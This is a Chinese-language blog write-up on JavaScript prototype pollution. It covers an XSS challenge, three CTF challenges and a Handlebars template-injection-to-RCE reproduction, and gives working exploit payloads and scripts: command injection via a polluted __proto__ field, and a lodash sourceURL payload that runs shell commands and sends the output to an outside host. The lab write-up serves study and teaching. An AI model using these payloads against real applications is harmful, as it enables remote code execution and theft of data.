前言

最近看到一篇关于在模板注入中利用原型链污染RCE的文章,才想起来还没有总结过原型链污染这种JavaScript的特殊漏洞,所以打算写一篇文章,通过XSS、几道CTF题目和复现漏洞的方式,温故知新一下。

目录

1. XSS

2. CTF1

3. CTF2

4. CTF3

5. Handlebars模板注入到RCE

原型链污染

有关原型链的详细解析看这里:https://blog.csdn.net/cc18868876837/article/details/81211729

我这里只举一个简单的栗子:

> a = []
< []
> a.__proto__.Twings = "Aluvion"
< "Aluvion"
> b = []
< []
> b.Twings
< "Aluvion"

简单来说就是通过给一个实例的原型对象赋值,影响同一个原型对象的其他实例。


XSS

prompt(1) to win 传送门:http://prompt.ml/13

关键代码:

...
function extend(obj) {
    var source, prop;
    for (var i = 1, length = arguments.length; i < length; i++) {
        source = arguments[i];
        for (prop in source) {
            obj[prop] = source[prop];
        }
    }
    return obj;
}
...
var config = extend({
    source: 'http://placehold.it/350x150'
}, JSON.parse(input));
if (/[^\w:\/.]/.test(config.source)) {
    delete config.source;
}
var source = config.source.replace(/"/g, '');
return '<img src="{{source}}">'.replace('{{source}}', source);
...

目标就是最后在source中逃逸出一个双引号来。

如果source的格式不符合要求,就会删除config.source,所以是不能直接通过source引入双引号的。这时候我们就可以使用原型链污染的方法了:给config的原型对象整一个恶意的source属性,同时提交一个不符合要求的source,这样一来config.source被删除后,后面的代码无法找到这个属性,就会去到config的原型对象去寻找,找到我们的恶意的source,我们就成功地污染了config.source,能够绕过过滤引入双引号。

但是这个replace要怎么绕过呢?

这就涉及到一个JavaScript的replace函数的黑魔法了:https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#Description 通过特殊替换模式,我们可以逃逸出一个双引号来,用以闭合img的src。

payload:

{"source":"~","__proto__":{"source":"$`onerror=prompt(1)>\""}}
{"source":"~","__proto__":{"source":"$'<script>prompt(1)</script>\""}}

CTF1

代码如下,用npm把依赖下载好,再在views目录随便写一个HTML,即可将环境跑起来:

const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now

var matrix = [];
for (var i = 0; i < 3; i++){
    matrix[i] = [null , null, null];
}

function draw(mat) {
    var count = 0;
    for (var i = 0; i < 3; i++){
        for (var j = 0; j < 3; j++){
            if (matrix[i][j] !== null){
                count += 1;
            }
        }
    }
    return count === 9;
}

app.use('/static', express.static('static'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);

app.get('/', (req, res) => {

    for (var i = 0; i < 3; i++){
        matrix[i] = [null , null, null];

    }
    res.render('index');
})


app.get('/admin', (req, res) => { 
    /*this is under development I guess ??*/

    if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
        res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
    } 
    else {
        res.status(403).send('Forbidden');
    }    
}
)


app.post('/api', (req, res) => {
    var client = req.body;
    var winner = null;

    if (client.row > 3 || client.col > 3){
        client.row %= 3;
        client.col %= 3;
    }

    matrix[client.row][client.col] = client.data;
    console.log(matrix);
    for(var i = 0; i < 3; i++){
        if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
            if (matrix[i][0] === 'X') {
                winner = 1;
            }
            else if(matrix[i][0] === 'O') {
                winner = 2;
            }
        }
        if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
            if (matrix[0][i] === 'X') {
                winner = 1;
            }
            else if(matrix[0][i] === 'O') {
                winner = 2;
            }
        }
    }

    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
        winner = 2;
    } 

    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
        winner = 2;
    }

    if (draw(matrix) && winner === null){
        res.send(JSON.stringify({winner: 0}))
    }
    else if (winner !== null) {
        res.send(JSON.stringify({winner: winner}))
    }
    else {
        res.send(JSON.stringify({winner: -1}))
    }

})
app.listen(3000, () => {
    console.log('app listening on port 3000!')
})

代码很简单,目标就是向/admin POST一个querytoken,并且正好与服务端的admintoken的MD5值相等。admintoken是undefined的,所以我们需要想办法修改它,这时候我们仔细审计代码,可以看到这么几行代码:

...
var user = [];
var matrix = [];
...
var client = req.body;
matrix[client.row][client.col] = client.data;

我们可以看到,admintoken所在的user实例和matrix实例都是数组类型,而后面又以我们可控的输入对它进行了两级的赋值,那么这里是不是就存在一个原型链污染的漏洞?

我们可以通过覆盖matrix的原型对象,来污染user.admintoken,这样一来admintoken就是我们可控的了,解题脚本如下:

# -*- coding:utf8 -*-
import requests
import json

headers = {
    'Content-Type': 'application/json'
}
data = {
    'row': '__proto__',
    'col': 'admintoken',
    'data': 'Twings'
}
myd = requests.session()
url = "http://localhost:3000/api"
url2 = "http://localhost:3000/admin?querytoken=f25758d1dec0c49eb22049d3080e87d0"
myd.post(url, headers=headers, data=json.dumps(data))
print myd.get(url2).content

CTF2

server.js:

var fs       = require('fs'); 
var server   = require('http').createServer()
var io       = require('socket.io')(server)
var clientManager = require('./clientManager')
var helper = require('./helper')

var defaultSettings = JSON.parse(fs.readFileSync('default_settings.json', 'utf8'));

function sendMessageToClient(client, from, message) {
    var msg = {
        from: from,
        message: message
    };

    client.emit('message', msg);
    console.log(msg)
    return true;
}

function sendMessageToChannel(channel, from, message) {
    var msg = {
        from: typeof from !== 'string' ? clientManager.getUsername(from): from,
        message: message,
        channel: channel
    };

    if(typeof from !== 'string') {
        if(!clientManager.isSubscribedTo(from, channel)) {
            console.log('Could not send message',msg,' from', 
                clientManager.getUsername(from),'to',channel,'because he is not subscribed.')
            return false;
        }
    }

    var clients = clientManager.getSubscribedToChannel(channel);

    for(var i = 0; i<clients.length;i++) {
        if(typeof from !== 'string') {
            if(clients[i].id == from.id) {
                continue;
            }
        }

        clients[i].emit('message', msg);
    }

    console.log(msg)
    return true;
}

io.on('connection', function (client) { 
    client.on('register', function(inUser) {
        try {
            newUser = helper.clone(JSON.parse(inUser))

            if(!helper.validUser(newUser)) {
                sendMessageToClient(client,"Server", 
                    'Invalid settings.')
                return client.disconnect();
            } 

            var keys = Object.keys(defaultSettings);
            for (var i = 0; i < keys.length; ++i) {
                if(newUser[keys[i]] === undefined) {
                    newUser[keys[i]] = defaultSettings[keys[i]]
                }
            } 

            if (!clientManager.isUserAvailable(newUser.name)) {
                sendMessageToClient(client,"Server", 
                    newUser.name + ' is not available')
                return client.disconnect(); 
            }

            clientManager.registerClient(client, newUser)
            return sendMessageToClient(client,"Server", 
                newUser.name + ' registered')
        } catch(e) { console.log(e); client.disconnect() }
    });

    client.on('join', function(channel) {
        try {
            clientManager.joinChannel(client, channel);
            sendMessageToClient(client,"Server", 
                "You joined channel", channel)

            var u = clientManager.getUsername(client);
            var c = clientManager.getCountry(client);

            sendMessageToChannel(channel,"Server", 
                helper.getAscii("User " + u + " living in " + c + " joined channel"))
        } catch(e) { console.log(e); client.disconnect() }
    });

    client.on('leave', function(channel) {
        try {
            client .join(channel);
            clientManager.leaveChannel(client, channel);
            sendMessageToClient(client,"Server", 
                "You left channel", channel)

            var u = clientManager.getUsername(client);
            var c = clientManager.getCountry(client);
            sendMessageToChannel(channel, "Server", 
                helper.getAscii("User " + u + " living in " + c + " left channel"))
        } catch(e) { console.log(e); client.disconnect() }
    });

    client.on('message', function(message) {
        try {
            message = JSON.parse(message);
            if(message.channel === undefined) {
                console.log(clientManager.getUsername(client),"said:", message.msg);
            } else {
                sendMessageToChannel(message.channel, client, message.msg);
            }
        } catch(e) { console.log(e); client.disconnect() }
    });

    client.on('disconnect', function () {
        try {
            console.log('client disconnect...', client.id)

            var oldclient = clientManager.removeClient(client);
            if(oldclient !== undefined) {
                for (const [channel, state] of Object.entries(oldclient.ch)) {
                    if(!state) continue;
                    sendMessageToChannel(channel, "Server", 
                        "User " + oldclient.u.name + " left channel");
                } 
            }
        } catch(e) { console.log(e); client.disconnect() }
    })

  client.on('error', function (err) {
    console.log('received error from client:', client.id)
    console.log(err)
  })
});

server.listen(3000, function (err) {
  if (err) throw err;
  console.log('listening on port 3000');
});

helper.js:

var exports = module.exports = {
    clone: function(obj) {

        if (typeof obj !== 'object' ||
            obj === null) {

            return obj;
        }

        var newObj;
        var cloneDeep = false;

        if (!Array.isArray(obj)) {
            if (Buffer.isBuffer(obj)) {
                newObj = new Buffer(obj);
            }
            else if (obj instanceof Date) {
                newObj = new Date(obj.getTime());
            }
            else if (obj instanceof RegExp) {
                newObj = new RegExp(obj);
            }
            else {

                var proto = Object.getPrototypeOf(obj);
                if (proto &&
                    proto.isImmutable) {

                    newObj = obj;
                }
                else {
                    newObj = Object.create(proto);
                    cloneDeep = true;
                }
            }
        }
        else {
            newObj = [];
            cloneDeep = true;
        }

        if (cloneDeep) {
            var keys = Object.getOwnPropertyNames(obj);

            for (var i = 0; i < keys.length; ++i) {
                var key = keys[i];
                var descriptor = Object.getOwnPropertyDescriptor(obj, key);
                if (descriptor &&
                    (descriptor.get ||
                     descriptor.set)) {

                    Object.defineProperty(newObj, key, descriptor);
                }
                else {
                    newObj[key] = this.clone(obj[key]);
                }
            }
        }

        return newObj;
    }, 
    validUser: function(inp) {
        var block = ["source","port","font","country",
                     "location","status","lastname"];
        if(typeof inp !== 'object') {
            return false;
        } 

        var keys = Object.keys( inp);
        for(var i = 0; i< keys.length; i++) {
            key = keys[i];

            if(block.indexOf(key) !== -1) {
                return false;
            }
        }

        var r =/^[a-z0-9]+$/gi;
        if(inp.name === undefined || !r.test(inp.name)) {
            return false;
        }

        return true;
    },
    getAscii: function(message) {
        var e = require('child_process');
        return e.execSync("cowsay '" + message + "'").toString();
    }
}

clientManager.js:

var helper = require('./helper')
var exports = module.exports = {
    clients: {},
    getUserByClient: function(client) {
        return this.clients[client.id]
    },
    registerClient: function (client, user) {
        this.clients[client.id] = { 'c': client, 
                                    'u': user, 
                                    'ch': {} 
        };
    },
    removeClient: function (client) {
        var client_old = this.clients[client.id]
        if(client_old === undefined)
            return client_old

        delete client_old.c
        client_old = helper.clone(client_old)
        delete this.clients[client.id];
        return client_old
    },
    isUserAvailable: function (userName) {
        for (var [key, user] of Object.entries(this.clients)) {
          if(user.u.name == userName) {
            return false;
          }
        }
        return true;
    },
    getUsername: function (client) {
        return this.clients[client.id].u.name;
    },
    getLastname: function (client) {
        return this.clients[client.id].u.lastname;
    },
    getCountry: function (client) {
        return this.clients[client.id].u.country;
    },
    getLocation: function (client) {
        return this.clients[client.id].u.location;
    },
    getStatus: function (client) {
        return this.clients[client.id].u.status;
    },
    joinChannel: function (client, channel) {
        this.clients[client.id].ch[channel] = true; 
    },
    leaveChannel: function (client, channel) {
        this.clients[client.id].ch[channel] = false; 
    },
    getSubscribedToChannel: function(channel) {
        var subscribed = [];
        for (var [key, user] of Object.entries(this.clients)) {
            if(user.ch[channel] === true) {
                subscribed.push(user.c);
            }
        } 
        return subscribed;
    },
    isSubscribedTo: function(client, channel) {
        var user = this.getUserByClient(client)

        for (var [chs, state] of Object.entries(user.ch)) {
            if(state === true && chs === channel) {
                return true;
            }
        }

        return false;    
    },
};

client.js:

const io = require('socket.io-client')
const socket = io.connect('https://chat.dctfq18.def.camp')

if(process.argv.length != 4) {
  console.log('name and channel missing')
   process.exit()
}
console.log('Logging as ' + process.argv[2] + ' on ' + process.argv[3])
var inputUser = {
  name: process.argv[2], 
};

socket.on('message', function(msg) {
  console.log(msg.from,"[", msg.channel!==undefined?msg.channel:'Default',"]", "says:\n", msg.message);
});

socket.on('error', function (err) {
  console.log('received socket error:')
  console.log(err)
})

socket.emit('register', JSON.stringify(inputUser));
socket.emit('message', JSON.stringify({ msg: "hello" }));
socket.emit('join', process.argv[3]);//ps: you should keep your channels private
socket.emit('message', JSON.stringify({ channel: process.argv[3], msg: "hello channel" }));
socket.emit('message', JSON.stringify({ channel: "test", msg: "i own you" }));

default_settings.json:

{
    "name": "Default",
    "lastname": "Username",
    "status": "Status Text",
    "location": "127.0.0.1",
    "country": "No Man`s Land", 
    "source": "Website",
    "port": "3000"
}

package.json:

{
  "name": "chat",
  "version": "1.0.0",
  "description": "DCTF",
  "main": "NA",
  "dependencies": {
    "socket.io": "^2.1.1",
    "socket.io-client": "^2.1.1"
  },
  "devDependencies": {},
  "scripts": {
    "test": "NA"
  },
  "repository": {
    "type": "git",
    "url": "NA"
  },
  "keywords": [
    "DCTF"
  ],
  "author": "Andrei",
  "license": "UNLICENSED"
}

审计一下代码,可以看到代码实现了一个socket服务器,客户端可以进行注册、加入聊天室、发言等,而最可疑的地方则在helper.js的getAscii函数:

getAscii: function(message) {
    var e = require('child_process');
    return e.execSync("cowsay '" + message + "'").toString();
}

很明显如果message可控,那么这里就存在一个命令注入漏洞,我们去看看函数调用,可以看到有两个地方用相同的参数调用了这个函数:

sendMessageToChannel(channel, "Server", helper.getAscii("User " + u + " living in " + c + " left channel"))

如果我们可以控制注册时的name和country,就可以进行命令注入了。接下来看一下注册逻辑,发现代码调用了validUser函数进行了过滤:

...
var block = ["source","port","font","country",
             "location","status","lastname"];
...
for(var i = 0; i< keys.length; i++) {
    key = keys[i];

    if(block.indexOf(key) !== -1) {
        return false;
    }
}

var r =/^[a-z0-9]+$/gi;
if(inp.name === undefined || !r.test(inp.name)) {
    return false;
}
...

name只能由小写字母和数字组成,而我们不能对country进行设置,那怎么办呢?我们能不能通过原型链来污染country?可以看到服务端调用helper.clone来克隆了我们的JSON输入,我们仔细审计helper.clone函数,可以看到最后进行了对象克隆赋值,将本来只是属性名的__proto__指向了对象原型:

newObj[key] = this.clone(obj[key]);

我们可以使用vscode来断点调试一下:

成功覆盖了原型对象,这样一来我们就可以注入命令了。

payload:

const io = require('socket.io-client')
const socket = io.connect('http://127.0.0.1:3000')

console.log(process.argv.length);

if(process.argv.length != 4) {
    console.log('name and channel missing')
    process.exit()
}
console.log('Logging as ' + process.argv[2] + ' on ' + process.argv[3])
var inputUser = {
    name: process.argv[2],
};

socket.on('message', function(msg) {
    console.log(msg.from,"[", msg.channel!==undefined?msg.channel:'Default',"]", "says:\n", msg.message);
});

socket.on('error', function (err) {
    console.log('received socket error:')
    console.log(err)
})

socket.emit('register', '{"name":"Twings", "__proto__":{"country":"\';ls;echo \'lala"}}')
socket.emit('message', JSON.stringify({ msg: "hello" }));
socket.emit('join', process.argv[3]);//ps: you should keep your channels private
socket.emit('message', JSON.stringify({ channel: process.argv[3], msg: "hello channel" }));
socket.emit('message', JSON.stringify({ channel: "test", msg: "i own you" }));

CTF3

源码地址:https://github.com/phith0n/code-breaking/tree/master/2018/thejs

注意lodash版本为4.17.4,高版本的merge函数无法污染原型链。

代码很简单,只有一个页面,逻辑也很简单,将选择的语言加入session,然后渲染模板。关注这两部分代码:

let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
    data = lodash.merge(data, req.body)
    req.session.data = data
}
fs.readFile(filePath, (err, content) => {
    if (err) return callback(new Error(err))
    let compiled = lodash.template(content)
    let rendered = compiled({...options})

    return callback(null, rendered)
})

merge是一个容易发生原型链污染的函数:

我们可以通过这个函数来污染某个属性,那我们应该对谁下手呢?我们同样可以断点调试,然后跟入函数中看看,比如代码调用的lodash的另一个函数lodash.template:

var sourceURL = '//# sourceURL=' +
    ('sourceURL' in options
     ? options.sourceURL
     : ('lodash.templateSources[' + (++templateCounter) + ']')
    ) + '\n';
...
var result = attempt(function() {
    return Function(importsKeys, sourceURL + 'return ' + source)
    .apply(undefined, importsValues);
});

可以看到在options.sourceURL存在的情况下,会将options.sourceURL赋值给sourceURL,然后拼接进入Function的第二个参数中,所以我们只要污染了options.sourceURL,我们的恶意代码就会经过attempt、baseRest、overRest,最后来到apply通过func.call调用,我们就可以执行任意Javascript代码了。

payload:

# -*- coding:utf8 -*-
import requests
import json

headers = {
    'Content-Type': 'application/json'
}
data = {
    '__proto__': {
        'sourceURL': "test\nvar require = global.require || global.process.mainModule.constructor._load;"
                     "var result = require('child_process').execSync('dir');"
                     "var req = require('http').request(`http://*.*.*.*/?${result}`);"
                     "req.end();\n//"
    }
}
myd = requests.session()
url = "http://localhost:3000"
myd.post(url, headers=headers, data=json.dumps(data))
myd.get(url)

Handlebars模板注入到RCE

用package.json安装4.0.12版本的handlebars,然后写个测试脚本:

var handlebars = require('handlebars'),
fs = require('fs');
data = {
    "name": "Twings"
}

fs.readFile('example.html', 'utf-8', function(error, source){
  var template = handlebars.compile(source);
  var html = template(data);
  console.log(html)
});

两种payload:

{{#with this as |obj|}}
    {{#with (obj.constructor.keys "1") as |arr|}} # 创建一个array
        {{arr.pop}} # 把array清空
        {{arr.push obj.constructor.name.constructor.bind}} # 把bind存入array
        {{arr.pop}} # 因为handlerbars调用函数会加个this在后面,所以pop掉
        {{arr.push "return JSON.stringify(process.env);"}} # 把payload存入array
        {{arr.pop}} # 因为handlerbars调用函数会加个this在后面,所以pop掉
            {{#blockHelperMissing obj.constructor.name.constructor.bind}}
              {{#with (arr.constructor (obj.constructor.name.constructor.bind.apply obj.constructor.name.constructor arr))}} # 以obj.constructor.name.constructor为this,arr为参数调用obj.constructor.name.constructor.bind创建新函数,新函数拥有和obj.constructor.name.constructor一样的函数体,调用该函数会返回payload,将恶意函数绑定放到一个数组中,键为0
                {{#with (obj.constructor.getOwnPropertyDescriptor this 0)}} # 获取描述符
                  {{#with (obj.constructor.defineProperty obj.constructor.prototype "toString" this)}} # 在obj.constructor.prototype上定义toString属性为恶意函数
                     {{#with (obj.constructor.constructor "test")}} # 这个test字符串可以省略,调用obj.constructor.constructor(this),调用的时候会触发this的toString,即返回并执行了'return JSON.stringify(process.env);'
                        {{this}} # 将执行结果打印出来
                     {{/with}}
                  {{/with}}
                {{/with}}
              {{/with}}
            {{/blockHelperMissing}}
  {{/with}}
{{/with}}
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}} # e.split创建数组
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}} # sub也可以换成其他函数,比如endsWith,将string.sub修改为了conslist.sub
      {{this.pop}}
      # 此时conslist中只有一个Function
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return JSON.stringify(process.env);"}}
        {{this.pop}}
        # 此时codelist中只有一个字符串payload
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}} # 通过apply调用Function执行代码
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

参考文章:

https://xz.aliyun.com/t/2735

https://xz.aliyun.com/t/4229

https://www.anquanke.com/post/id/176121

https://www.cnblogs.com/zhumingzhenhao/p/8337146.html

https://blog.csdn.net/leviscar/article/details/78484090

https://blog.l0ca1.xyz/Code-Breaking

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html


CTF Web NodeJS 复现 前端

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

Nodejs/express/session-file-store库下的session伪造
西湖论剑Web